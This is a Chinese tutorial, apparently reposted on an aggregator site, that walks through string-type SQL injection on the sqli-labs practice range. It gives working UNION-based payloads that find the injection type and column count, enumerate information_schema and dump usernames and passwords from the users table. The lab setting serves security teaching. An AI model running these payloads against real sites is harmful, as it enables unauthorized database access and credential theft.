当前位置: 首页 > news >正文

简单的SQL字符型注入

目录

注入类型

判断字段数

确定回显点

查找数据库名

查找数据库表名 

查询字段名

获取想要的数据 


以sqli-labs靶场上的简单SQL注入为例

注入类型

判断是数字类型还是字符类型

常见的闭合方式

?id=1'、?id=1"、?id=1')、?id=1")等,大多都是单引号、双引号、括号的组合。

先尝试下字符型输入:?id=1'and 1=1#或者?id=1'and 1=1--+

(如果是字符型,可以用#或者--+或者%23注释掉单引号)

如果?id=1没有回显,那么输入?id=1 or 1=1(数字型)那么肯定会回显,输入?id=1' or 1=1--+(字符型)也肯定会回显(过滤字符可能不是--+,也可能是别的),但是用?id=1 and 1=1,或者?id=1' and 1=1--+不一定回显

99b4d6248638416f95196bb67e0dd04e.png

再试下:?id=1' and 1=2--+ 

541f7988e63143e385c3517388ef4e3d.png

没有回显 

证明是字符型输入,

回显是指页面有数据信息返回。无回显是指根据输入的语句,页面没有任何变化或者没有数据库中的内容显示到网页中。

如果是数字型输入,那么就可以正常输入:1

如何判断是字符型还是数字型呢,有一种方法:

数字型:

  • 1 and 1=1  //能回显
  • 1 and 1=2  //不能回显

字符型:

  • 1' and 1=1#  //能回显
  • 1' and 1=2#   //不能回显

判断字段数

判断字段数 order by

分四次输入:1' and 1=1 oder by 1--+   1' and 1=1 oder by 2--+  1' and 1=1 oder by 3--+    1' and 1=1 oder by 4--+

前两次都是正常回显,第三次报错,显示没有第三列,说明只有两个字段 61430bc38607457b99919a045eeb358c.png

 

确定回显点

输入:1' and 1=1 union select 1,2,3--+

a92613936d9846a4be8f648c23b1e987.png

发现1,2,3三个数没有一个回显,

因为第一个查询语句把后面的给挡住了,所以要把第一个查询语句失效

可以输入:1' and 1=2 union select 1,2,3--+  或者-1' union select 1,2,3--+

8af68d2db4ae452ea2409da9b5439198.png

2,3的位置成功回显 。2,3都可以是注入点 

 

就是可以更改这些点对应的相对的输入位置可以得到不同的输出;

查找数据库名

输入:-1' union select 1,2,database()--+

c074e8e5d02944a5b781f5f58df6c6bd.png

 得到对应的数据库名字:security

查找数据库表名 

849da3c5efd44846912a2cc425bae928.png

 输入:-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+

fc5a70c29ad24eb2ba38ac65b691832a.png

得到表名:emails,但是在这个数据库中可能不止一个表,所以我们要得到所有表,而不只是一个emails表

输入:-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在mysql的关联查询或子查询中,函数 group_concat(arg) 可以合并多行的某列(或多列)数据为一行,默认以逗号分隔。

所以我们可以将tables表里面的所有tables_name表名合并成一行输出 

c55d5e0d9a7d4332a16fde4f268accb8.png

 显然我们想要的是users表

查询字段名

我们会用到上面图片中的column表

输入:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

ea6eca5c7693439697826c4bd98faa22.png 7f982a26658f4723bc8ff2000e9e8a92.png

users表下的字段数很多,显然易见,我们想要获取的只是账号密码,所以,对我们有用的是username和password字段

获取想要的数据 

输入:-1' union select 1,2,group_concat(username,'-',password) from users --+

 ceceeb0f55d746e288b39f2ca349d448.png

成功得到对应的账号密码 

 

http://www.lryc.cn/news/399472.html

相关文章:

  • HttpClient调用SpringBoot项目的文件上传接口实现文件上传
  • [leetcode]kth-smallest-element-in-a-sorted-matrix 有序矩阵中第k小元素
  • 【经典面试题】是否形成有环链表
  • Flask 用 Redis 缓存键值对-实例
  • 我的世界1.21多种服务端开服教程,原版/Forge/Fabric/Paper/Mohist...,Minecraft开服教程
  • docker安装nginx并配置https
  • 永磁同步电机控制算法--基于 SVM 的无磁链环 DTC
  • 如何避免在 Docker 容器中遇到 MAC 地址冲突和 IP 地址冲突的问题
  • arm64架构下源码编译安装kafka —— 筑梦之路
  • LabVIEW前面板占满整个屏幕(转)
  • Promise.all、any、race和allSettled的相同点与不同点与应用场景
  • Ubuntu下如何设置程序include搜索路径及链接路径
  • FLinkCDC引起的生产事故(二)
  • 【产品经理】WMS多仓调拨转移说明
  • 每日一练:奇怪的TTL字段(python实现图片操作实战)
  • 【Java开发实训】day03——方法的注意事项
  • HarmonyOS NEXT:一次开发,多端部署
  • Bilibili Android一二面凉经(2024)
  • 数据库内核研发学习之路(一)
  • LSTM:深度学习中的时间序列处理大师
  • T113-i系统启动速度优化方案
  • ArcGis将同一图层的多个面要素合并为一个面要素
  • 微软Win11 24H2七月更新补丁KB5040435发布!附下载
  • iOS 开发中不常见的专业术语
  • 【中项第三版】系统集成项目管理工程师 | 第 4 章 信息系统架构④ | 4.7
  • Time to say GoodBye
  • C语言之指针的奥秘(二)
  • 嵌入式linux系统内核启动过程分享
  • RK3568笔记三十五:LED驱动开发测试
  • pnpm 如何安装指定版本